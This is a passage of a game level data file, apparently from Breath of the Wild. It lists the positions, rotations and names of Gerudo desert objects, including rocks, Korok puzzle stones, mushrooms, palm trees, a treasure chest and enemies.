<value>-1.567627f</value>
<value>-0.3435058f</value>
<value>2.599243f</value>
</Rotate>
<Translate type="array">
<value>-3042.582f</value>
<value>165.7031f</value>
<value>3735.066f</value>
</Translate>
<UnitConfigName type="string">Item_Mushroom_D</UnitConfigName>
</value>
<value HashId="1094900229" Rotate="-2.883186f" SRTHash="-356839683">
<Translate type="array">
<value>-3037.228f</value>
<value>177.8557f</value>
<value>3748.469f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="1174597661" Rotate="-0.01999979f" SRTHash="-811279300">
<Translate type="array">
<value>-3537.431f</value>
<value>134.6521f</value>
<value>3003.922f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_32</UnitConfigName>
</value>
<value HashId="1177058496" SRTHash="-248774658">
<Rotate type="array">
<value>-0.02633557f</value>
<value>0.317353f</value>
<value>-0.08421449f</value>
</Rotate>
<Translate type="array">
<value>-3699.755f</value>
<value>144.5674f</value>
<value>3648.023f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_05</UnitConfigName>
</value>
<value HashId="1225475951" SRTHash="-448930298">
<Rotate type="array">
<value>-2.461593f</value>
<value>-0.2584072f</value>
<value>3.141593f</value>
</Rotate>
<Translate type="array">
<value>-3027.578f</value>
<value>178.6532f</value>
<value>3751.054f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="1228163379" SRTHash="0">
<_Parameters InitMotionStatus="0" IsEnemyLiftable="true" IsPlayerPut="false" SharpWeaponJudgeType="0">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Rotate type="array">
<value>1.564819f</value>
<value>-1.101074f</value>
<value>-0.5329589f</value>
</Rotate>
<Translate type="array">
<value>-3172.66f</value>
<value>145.5859f</value>
<value>3003.172f</value>
</Translate>
<UnitConfigName type="string">Item_Mushroom_D</UnitConfigName>
</value>
<value HashId="1247071952" Rotate="2.7f" SRTHash="-1232389223">
<Translate type="array">
<value>-3437.633f</value>
<value>156.6005f</value>
<value>3155.661f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_31</UnitConfigName>
</value>
<value HashId="1256717474" SRTHash="-795030054">
<Rotate type="array">
<value>0.06837835f</value>
<value>0.6782193f</value>
<value>0.06688423f</value>
</Rotate>
<Translate type="array">
<value>-3764.407f</value>
<value>116.5074f</value>
<value>3696.242f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_05</UnitConfigName>
</value>
<value HashId="1257387166" SRTHash="-672255071">
<Rotate type="array">
<value>-0.2107465f</value>
<value>0.03569552f</value>
<value>-0.2456166f</value>
</Rotate>
<Translate type="array">
<value>-3788.145f</value>
<value>128.2411f</value>
<value>3329.87f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_30</UnitConfigName>
</value>
<value HashId="1291253784" SRTHash="190909605">
<Rotate type="array">
<value>-0.2f</value>
<value>0f</value>
<value>0f</value>
</Rotate>
<Translate type="array">
<value>-3702.651f</value>
<value>122.052f</value>
<value>3423.69f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_08</UnitConfigName>
</value>
<value HashId="1302776935" SRTHash="127161847">
<Rotate type="array">
<value>0.8f</value>
<value>0.5399971f</value>
<value>0f</value>
</Rotate>
<Translate type="array">
<value>-3040.155f</value>
<value>177.1101f</value>
<value>3751.698f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="1345684848" SRTHash="262606901">
<Rotate type="array">
<value>0.54f</value>
<value>0.5399971f</value>
<value>0f</value>
</Rotate>
<Translate type="array">
<value>-3035.882f</value>
<value>177.95f</value>
<value>3747.905f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="1359384251" Rotate="2.343185f" SRTHash="564953958">
<_Parameters AngleY="0f" CutRate="0f" SharpWeaponJudgeType="0">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Translate type="array">
<value>-3761.312f</value>
<value>154.8169f</value>
<value>3121.426f</value>
</Translate>
<UnitConfigName type="string">Obj_TreePalm_A_01</UnitConfigName>
</value>
<value HashId="1417305855" OnlyOne="true" SRTHash="1937659315">
<_Parameters SharpWeaponJudgeType="0">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Translate type="array">
<value>-3431.8f</value>
<value>200.9438f</value>
<value>3126.801f</value>
</Translate>
<UnitConfigName type="string">TwnObj_ArtifactObservationPostWindmill_A_01</UnitConfigName>
</value>
<value HashId="1453417441" Rotate="1.299999f" SRTHash="300422616">
<Translate type="array">
<value>-3026.632f</value>
<value>179.0483f</value>
<value>3755.653f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="1453625084" SRTHash="957743211">
<Rotate type="array">
<value>-2.461593f</value>
<value>-0.2584072f</value>
<value>3.141593f</value>
</Rotate>
<Translate type="array">
<value>-3028.335f</value>
<value>178.5813f</value>
<value>3750.054f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="1464093894" SRTHash="1159137305">
<Rotate type="array">
<value>-3.082018f</value>
<value>0.3162153f</value>
<value>-2.952091f</value>
</Rotate>
<Translate type="array">
<value>-3039.691f</value>
<value>175.9583f</value>
<value>3760.285f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="1492265921" SRTHash="852129607">
<Rotate type="array">
<value>-2.461593f</value>
<value>-0.2584072f</value>
<value>3.141593f</value>
</Rotate>
<Translate type="array">
<value>-3030.504f</value>
<value>178.3564f</value>
<value>3748.504f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="1568351181" SRTHash="1493097362">
<Rotate type="array">
<value>-3.069407f</value>
<value>-0.4757054f</value>
<value>0.2185858f</value>
</Rotate>
<Translate type="array">
<value>-3461.885f</value>
<value>141.9756f</value>
<value>3019.007f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_30</UnitConfigName>
</value>
<value HashId="1585346206" Rotate="-2.141592f" SRTHash="1639797020">
<Translate type="array">
<value>-3702.995f</value>
<value>144.8364f</value>
<value>3629.767f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_05</UnitConfigName>
</value>
<value HashId="1612541959" Rotate="-1.02f" SRTHash="-1002482070">
<Translate type="array">
<value>-3846.633f</value>
<value>116.2848f</value>
<value>3653.337f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_05</UnitConfigName>
</value>
<value HashId="1627326426" Rotate="-0.1568143f" SRTHash="1263200413">
<Translate type="array">
<value>-3674.181f</value>
<value>136.3975f</value>
<value>3702.259f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_12</UnitConfigName>
</value>
<value HashId="1657297109" Rotate="-2.883186f" SRTHash="51862022">
<Translate type="array">
<value>-3031.372f</value>
<value>178.3818f</value>
<value>3762.325f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="1690568554" SRTHash="-744142308">
<Rotate type="array">
<value>0.1553591f</value>
<value>0.6670735f</value>
<value>0.1526947f</value>
</Rotate>
<Translate type="array">
<value>-3807.862f</value>
<value>120.2377f</value>
<value>3611.504f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_05</UnitConfigName>
</value>
<value HashId="1834782295" SRTHash="0">
<_Parameters InitMotionStatus="0" IsEnemyLiftable="true" IsPlayerPut="false" SharpWeaponJudgeType="0">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Rotate type="array">
<value>0.9772949f</value>
<value>-0.2254639f</value>
<value>0.05310058f</value>
</Rotate>
<Translate type="array">
<value>-3731.879f</value>
<value>149.8711f</value>
<value>3654.328f</value>
</Translate>
<UnitConfigName type="string">Item_Mushroom_D</UnitConfigName>
</value>
<value HashId="1850692058" Rotate="3.12f" SRTHash="-196346286">
<Translate type="array">
<value>-3026.909f</value>
<value>179.1265f</value>
<value>3757.158f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="1856052798" SRTHash="575928040">
<Rotate type="array">
<value>3.139389f</value>
<value>-0.0182751f</value>
<value>-3.021572f</value>
</Rotate>
<Translate type="array">
<value>-3825.871f</value>
<value>121.6518f</value>
<value>3589.191f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_05</UnitConfigName>
</value>
<value HashId="1884547388" SRTHash="1151411267">
<_Parameters InitMotionStatus="0" IsEnemyLiftable="true" IsPlayerPut="false" SharpWeaponJudgeType="0">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Rotate type="array">
<value>3.141479f</value>
<value>-1.289184f</value>
<value>3.141479f</value>
</Rotate>
<Translate type="array">
<value>-3070.492f</value>
<value>146.5608f</value>
<value>3792.336f</value>
</Translate>
<UnitConfigName type="string">Item_Plant_L</UnitConfigName>
</value>
<value HashId="1896645740" SRTHash="1470851812">
<Translate type="array">
<value>-3462.426f</value>
<value>139.0052f</value>
<value>3013.365f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_31</UnitConfigName>
</value>
<value HashId="1950963848" Rotate="3.12f" SRTHash="-628099019">
<Translate type="array">
<value>-3026.638f</value>
<value>178.9373f</value>
<value>3754.133f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="1981578479" Rotate="1.299999f" SRTHash="125791609">
<Translate type="array">
<value>-3040.664f</value>
<value>176.9074f</value>
<value>3752.998f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="1999356160" Rotate="-2.624777f" SRTHash="-138120758">
<_Parameters EnableRevival="false" IsInGround="false" SharpWeaponJudgeType="0">
<DropActor type="string">Weapon_Bow_015</DropActor>
</_Parameters>
<Translate type="array">
<value>-3432.911f</value>
<value>161.1246f</value>
<value>3131.577f</value>
</Translate>
<UnitConfigName type="string">TBox_Field_Stone</UnitConfigName>
</value>
<value HashId="2105508765" Rotate="-0.136814f" SRTHash="344501421">
<Translate type="array">
<value>-3831.688f</value>
<value>135.8439f</value>
<value>3586.785f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_12</UnitConfigName>
</value>
<value HashId="-1999765439" SRTHash="360513183">
<Rotate type="array">
<value>-3.001593f</value>
<value>1.421593f</value>
<value>3.141593f</value>
</Rotate>
<Translate type="array">
<value>-3029.938f</value>
<value>178.8142f</value>
<value>3761.851f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="-1967915327" SRTHash="956086594">
<_Parameters InitBurnState="false" InitMotionStatus="0" SharpWeaponJudgeType="0">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Translate type="array">
<value>-3747.684f</value>
<value>150.8055f</value>
<value>3607.149f</value>
</Translate>
<UnitConfigName type="string">Item_CookSet</UnitConfigName>
</value>
<value HashId="-1961630972" Rotate="0.5399978f" SRTHash="935771387">
<Translate type="array">
<value>-3029.299f</value>
<value>178.4813f</value>
<value>3749.264f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="-1955188007" Rotate="-0.8000003f" SRTHash="-567765964">
<Translate type="array">
<value>-3463.404f</value>
<value>156.4815f</value>
<value>3131.914f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_31</UnitConfigName>
</value>
<value HashId="-1861455463" OnlyOne="true" Rotate="-2.621586f" SRTHash="1469427122">
<_Parameters SharpWeaponJudgeType="0">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Translate type="array">
<value>-3434.248f</value>
<value>161.1441f</value>
<value>3126f</value>
</Translate>
<UnitConfigName type="string">TwnObj_ArtifactObservationPostDoor_A_01</UnitConfigName>
</value>
<value HashId="-1858691141" Rotate="-0.4020996f" SRTHash="-977919251">
<_Parameters InitMotionStatus="0" IsEnemyLiftable="true" IsPlayerPut="false" SharpWeaponJudgeType="0">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Translate type="array">
<value>-3705.027f</value>
<value>150.7593f</value>
<value>3636.906f</value>
</Translate>
<UnitConfigName type="string">Item_Mushroom_H</UnitConfigName>
</value>
<value HashId="-1848976034" SRTHash="1239261908">
<Rotate type="array">
<value>3.108166f</value>
<value>-0.2958452f</value>
<value>-3.098178f</value>
</Rotate>
<Translate type="array">
<value>-3033.139f</value>
<value>178.127f</value>
<value>3747.694f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="-1827061345" Rotate="0.6399999f" SRTHash="1095090877">
<Translate type="array">
<value>-3678.739f</value>
<value>117.4416f</value>
<value>3706.959f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_05</UnitConfigName>
</value>
<value HashId="-1752988549" Rotate="-2.96f" SRTHash="-143578178">
<Translate type="array">
<value>-3652.444f</value>
<value>122.0985f</value>
<value>3617.111f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_10</UnitConfigName>
</value>
<value HashId="-1718189361" Rotate="-2.683185f" SRTHash="149152395">
<Translate type="array">
<value>-3838.636f</value>
<value>157.5091f</value>
<value>3131.779f</value>
</Translate>
<UnitConfigName type="string">Obj_TreePalmMini_A_01</UnitConfigName>
</value>
<value HashId="-1658654751" SRTHash="-1624027268">
<_Parameters InitMotionStatus="0" IsEnemyLiftable="true" IsPlayerPut="false" SharpWeaponJudgeType="0">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Rotate type="array">
<value>3.141479f</value>
<value>0.4365234f</value>
<value>3.141479f</value>
</Rotate>
<Translate type="array">
<value>-3711.094f</value>
<value>122.1156f</value>
<value>3682.109f</value>
</Translate>
<UnitConfigName type="string">Item_Plant_L</UnitConfigName>
</value>
<value HashId="-1621671385" SRTHash="-1727330269">
<_Parameters IsEnemyLiftable="true" SharpWeaponJudgeType="0" TurnActorNearEnemy="true">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Rotate type="array">
<value>-0.07309055f</value>
<value>-0.001022447f</value>
<value>-0.0182694f</value>
</Rotate>
<Translate type="array">
<value>-3748.677f</value>
<value>150.9451f</value>
<value>3608.717f</value>
</Translate>
<UnitConfigName type="string">Pot</UnitConfigName>
</value>
<value HashId="-1548947978" SRTHash="1322870987">
<Rotate type="array">
<value>3.042269f</value>
<value>-1.224556f</value>
<value>-2.996832f</value>
</Rotate>
<Translate type="array">
<value>-3757.108f</value>
<value>143.7296f</value>
<value>3600.407f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_05</UnitConfigName>
</value>
<value HashId="-1533781805" SRTHash="-1392934995">
<_Parameters EnableNoEntryAreaCheck="true" ForbidSystemDeleteDistance="false" IsLocatorCreate="false" SharpWeaponJudgeType="0" TerritoryArea="0f">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Translate type="array">
<value>-3187.228f</value>
<value>125.446f</value>
<value>3469.803f</value>
</Translate>
<UnitConfigName type="string">Animal_Sunazarashi_A</UnitConfigName>
</value>
<value HashId="-1504266667" Rotate="3.135555f" SRTHash="-1109085874">
<_Parameters IsMimicry="false" IsNearCreate="false" LevelSensorMode="0" NearCreateAppearID="0" SharpWeaponJudgeType="1" TerritoryArea="0f">
<ArrowName type="string">NormalArrow</ArrowName>
<DropTable type="string">Normal</DropTable>
<EquipItem1 type="string">Default</EquipItem1>
<EquipItem2 type="string">Default</EquipItem2>
<EquipItem3 type="string">Default</EquipItem3>
<EquipItem4 type="string">Default</EquipItem4>
</_Parameters>
<Translate type="array">
<value>-3748f</value>
<value>125.8862f</value>
<value>3561f</value>
</Translate>
<UnitConfigName type="string">Enemy_Octarock_Desert</UnitConfigName>
</value>
<value HashId="-1500508579" Rotate="-0.1568143f" SRTHash="967619232">
<Translate type="array">
<value>-3672.67f</value>
<value>141.4582f</value>
<value>3702.411f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_13</UnitConfigName>
</value>
<value HashId="-1484930090" SRTHash="531285806">
<Rotate type="array">
<value>-2.601593f</value>
<value>0.2415933f</value>
<value>3.141593f</value>
</Rotate>
<Translate type="array">
<value>-3032.806f</value>
<value>177.8769f</value>
<value>3762.711f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="-1467640180" SRTHash="0">
<_Parameters InitMotionStatus="0" IsEnemyLiftable="true" IsPlayerPut="false" SharpWeaponJudgeType="0">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Rotate type="array">
<value>1.685669f</value>
<value>0.2260742f</value>
<value>-0.2614746f</value>
</Rotate>
<Translate type="array">
<value>-3014.738f</value>
<value>171.0195f</value>
<value>3778.191f</value>
</Translate>
<UnitConfigName type="string">Item_Mushroom_D</UnitConfigName>
</value>
<value HashId="-1462561587" Rotate="0.5399978f" SRTHash="-1458434490">
<Translate type="array">
<value>-3028.095f</value>
<value>179.1453f</value>
<value>3759.749f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="-1419540179" SRTHash="-1953810339">
<Rotate type="array">
<value>0.5800002f</value>
<value>1.299999f</value>
<value>0f</value>
</Rotate>
<Translate type="array">
<value>-3041.262f</value>
<value>176.4457f</value>
<value>3756.095f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="-1394259422" Rotate="-0.136814f" SRTHash="-1020587391">
<Translate type="array">
<value>-3831.688f</value>
<value>127.4717f</value>
<value>3586.785f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_11</UnitConfigName>
</value>
<value HashId="-1390273931" Rotate="0.5399978f" SRTHash="-745220518">
<Translate type="array">
<value>-3031.813f</value>
<value>178.2238f</value>
<value>3748.205f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="-1374111299" Rotate="-2.72f" SRTHash="920972120">
<Translate type="array">
<value>-3745.908f</value>
<value>145.7502f</value>
<value>3606.582f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_05</UnitConfigName>
</value>
<value HashId="-1290212757" Rotate="0.7968144f" SRTHash="829742957">
<Translate type="array">
<value>-3821.922f</value>
<value>157.4164f</value>
<value>3115.031f</value>
</Translate>
<UnitConfigName type="string">Obj_TreePalmMini_A_01</UnitConfigName>
</value>
<value HashId="-1223527955" SRTHash="203555416">
<Rotate type="array">
<value>-3.141592f</value>
<value>0.4384071f</value>
<value>-2.681593f</value>
</Rotate>
<Translate type="array">
<value>-3450.979f</value>
<value>155.2652f</value>
<value>3104.623f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_31</UnitConfigName>
</value>
<value HashId="-1114224899" SRTHash="-777220924">
<Translate type="array">
<value>-3508.592f</value>
<value>135.4554f</value>
<value>3028.235f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_31</UnitConfigName>
</value>
<value HashId="-1096882003" Rotate="-2.96f" SRTHash="2080643914">
<Translate type="array">
<value>-3652.444f</value>
<value>131.019f</value>
<value>3617.111f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_11</UnitConfigName>
</value>
<value HashId="-1059565761" Rotate="1.663186f" SRTHash="-1727293514">
<Translate type="array">
<value>-3534.513f</value>
<value>131.9555f</value>
<value>3003.869f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_11</UnitConfigName>
</value>
<value HashId="-1020470143" SRTHash="798443312" Scale="1.22439f">
<Rotate type="array">
<value>3.107595f</value>
<value>0.6422381f</value>
<value>-2.704955f</value>
</Rotate>
<Translate type="array">
<value>-3739.116f</value>
<value>126.9917f</value>
<value>3366.144f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_31</UnitConfigName>
</value>
<value HashId="-903531073" Rotate="-2.621586f" SRTHash="437674792">
<Translate type="array">
<value>-3433.369f</value>
<value>163.6416f</value>
<value>3133.745f</value>
</Translate>
<UnitConfigName type="string">TwnObj_Gerudo_Light_A_01</UnitConfigName>
</value>
<value HashId="-745314235" SRTHash="-472327237">
<_Parameters EnableNoEntryAreaCheck="true" ForbidSystemDeleteDistance="false" IsLocatorCreate="false" SharpWeaponJudgeType="0" TerritoryArea="0f">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Translate type="array">
<value>-3121.227f</value>
<value>119.2209f</value>
<value>3463.302f</value>
</Translate>
<UnitConfigName type="string">Animal_Sunazarashi_A</UnitConfigName>
</value>
<value HashId="-719034220" Rotate="-2.764778f" SRTHash="-103034825">
<Translate type="array">
<value>-3747.033f</value>
<value>144.5623f</value>
<value>3627.491f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_05</UnitConfigName>
</value>
<value HashId="-647447065" SRTHash="924574453">
<Translate type="array">
<value>-3422.483f</value>
<value>157.0461f</value>
<value>3149.124f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_32</UnitConfigName>
</value>
<value HashId="-640285935" Rotate="2.779999f" SRTHash="1875502686">
<Translate type="array">
<value>-3036.923f</value>
<value>176.3811f</value>
<value>3762.121f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="-636028660" SRTHash="167855964">
<Translate type="array">
<value>-3803.229f</value>
<value>123.5769f</value>
<value>3561.162f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_05</UnitConfigName>
</value>
<value HashId="-635264154" Rotate="-1.481593f" SRTHash="1340140714">
<Translate type="array">
<value>-3752.607f</value>
<value>145.3256f</value>
<value>3600.333f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_05</UnitConfigName>
</value>
<value HashId="-620824507" SRTHash="-862350216">
<Rotate type="array">
<value>-3.001593f</value>
<value>1.421593f</value>
<value>3.141593f</value>
</Rotate>
<Translate type="array">
<value>-3039.279f</value>
<value>177.3252f</value>
<value>3750.476f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="-524139438" Rotate="2.779999f" SRTHash="-283648513">
<Translate type="array">
<value>-3041.148f</value>
<value>176.1852f</value>
<value>3757.706f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="-504959097" Rotate="-0.2968146f" SRTHash="-287601210">
<_Parameters AngleY="0f" CutRate="0f" SharpWeaponJudgeType="0">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Translate type="array">
<value>-3832.083f</value>
<value>157.6081f</value>
<value>3136.174f</value>
</Translate>
<UnitConfigName type="string">Obj_TreePalm_A_01</UnitConfigName>
</value>
<value HashId="-497085623" Rotate="0.5399978f" SRTHash="-810637344">
<Translate type="array">
<value>-3035.599f</value>
<value>176.7647f</value>
<value>3762.561f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="-474614376" SRTHash="-599153728" Scale="1.22439f">
<Rotate type="array">
<value>-0.0650052f</value>
<value>0.1953269f</value>
<value>-0.3254047f</value>
</Rotate>
<Translate type="array">
<value>-3801.698f</value>
<value>124.8446f</value>
<value>3426.433f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_31</UnitConfigName>
</value>
<value HashId="-460445055" SRTHash="959911564" Scale="1.205919f">
<Rotate type="array">
<value>1.856528f</value>
<value>-1.370648f</value>
<value>1.343361f</value>
</Rotate>
<Translate type="array">
<value>-3729.055f</value>
<value>126.6907f</value>
<value>3545.196f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_30</UnitConfigName>
</value>
<value HashId="-457897696" Rotate="-0.1568143f" SRTHash="755835489">
<Translate type="array">
<value>-3674.181f</value>
<value>119.1049f</value>
<value>3702.259f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_10</UnitConfigName>
</value>
<value HashId="-426264921" SRTHash="-265774365">
<_Parameters InitMotionStatus="0" IsEnemyLiftable="true" IsPlayerPut="false" SharpWeaponJudgeType="0">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Rotate type="array">
<value>3.141479f</value>
<value>-0.1357422f</value>
<value>3.141479f</value>
</Rotate>
<Translate type="array">
<value>-3699.098f</value>
<value>150.5207f</value>
<value>3623.23f</value>
</Translate>
<UnitConfigName type="string">Item_Mushroom_H</UnitConfigName>
</value>
<value HashId="-365539687" SRTHash="0">
<_Parameters InitMotionStatus="0" IsEnemyLiftable="true" IsPlayerPut="false" SharpWeaponJudgeType="0">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Rotate type="array">
<value>1.824829f</value>
<value>-0.2966308f</value>
<value>-0.3901367f</value>
</Rotate>
<Translate type="array">
<value>-3718.637f</value>
<value>142.8242f</value>
<value>3660.129f</value>
</Translate>
<UnitConfigName type="string">Item_Mushroom_D</UnitConfigName>
</value>
<value HashId="-345913620" SRTHash="-289744004">
<Translate type="array">
<value>-3034.873f</value>
<value>176.463f</value>
<value>3753.984f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_31</UnitConfigName>
</value>
<value HashId="-325381816" SRTHash="0">
<_Parameters InitMotionStatus="0" IsEnemyLiftable="true" IsPlayerPut="false" SharpWeaponJudgeType="0">
<DropTable type="string">Normal</DropTable>
</_Parameters>
<Rotate type="array">
<value>-0.4490966f</value>
<value>-1.071899f</value>
<value>2.020752f</value>
</Rotate>
<Translate type="array">
<value>-3768.32f</value>
<value>134.4648f</value>
<value>3587.164f</value>
</Translate>
<UnitConfigName type="string">Item_Mushroom_D</UnitConfigName>
</value>
<value HashId="-276999419" Rotate="-0.5200004f" SRTHash="-1415251309">
<Translate type="array">
<value>-3396.238f</value>
<value>156.0109f</value>
<value>3140.102f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_32</UnitConfigName>
</value>
<value HashId="-174485714" Rotate="-0.4568144f" SRTHash="100574994">
<Translate type="array">
<value>-3628.042f</value>
<value>117.9113f</value>
<value>3661.097f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_10</UnitConfigName>
</value>
<value HashId="-94945974" Rotate="2.899999f" SRTHash="369042151">
<Translate type="array">
<value>-3041.047f</value>
<value>176.6778f</value>
<value>3754.514f</value>
</Translate>
<UnitConfigName type="string">Obj_LiftRockGerudo_Korok_A_01</UnitConfigName>
</value>
<value HashId="-90056761" Rotate="-0.4568144f" SRTHash="-938926721">
<Translate type="array">
<value>-3628.042f</value>
<value>126.8318f</value>
<value>3661.097f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_11</UnitConfigName>
</value>
<value HashId="-75343726" SRTHash="2021338286">
<Rotate type="array">
<value>-0.2947364f</value>
<value>0.1669039f</value>
<value>0.2265237f</value>
</Rotate>
<Translate type="array">
<value>-3445.777f</value>
<value>155.3192f</value>
<value>3093.268f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_32</UnitConfigName>
</value>
<value HashId="-72387446" Rotate="1.723185f" SRTHash="735443246">
<Translate type="array">
<value>-3703.925f</value>
<value>145.3364f</value>
<value>3621.715f</value>
</Translate>
<UnitConfigName type="string">FldObj_GerudoDesertRock_A_05</UnitConfigName>
</value>
</Objs>
<Rails type="array" />
</yaml>
|
{
"pile_set_name": "Github"
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.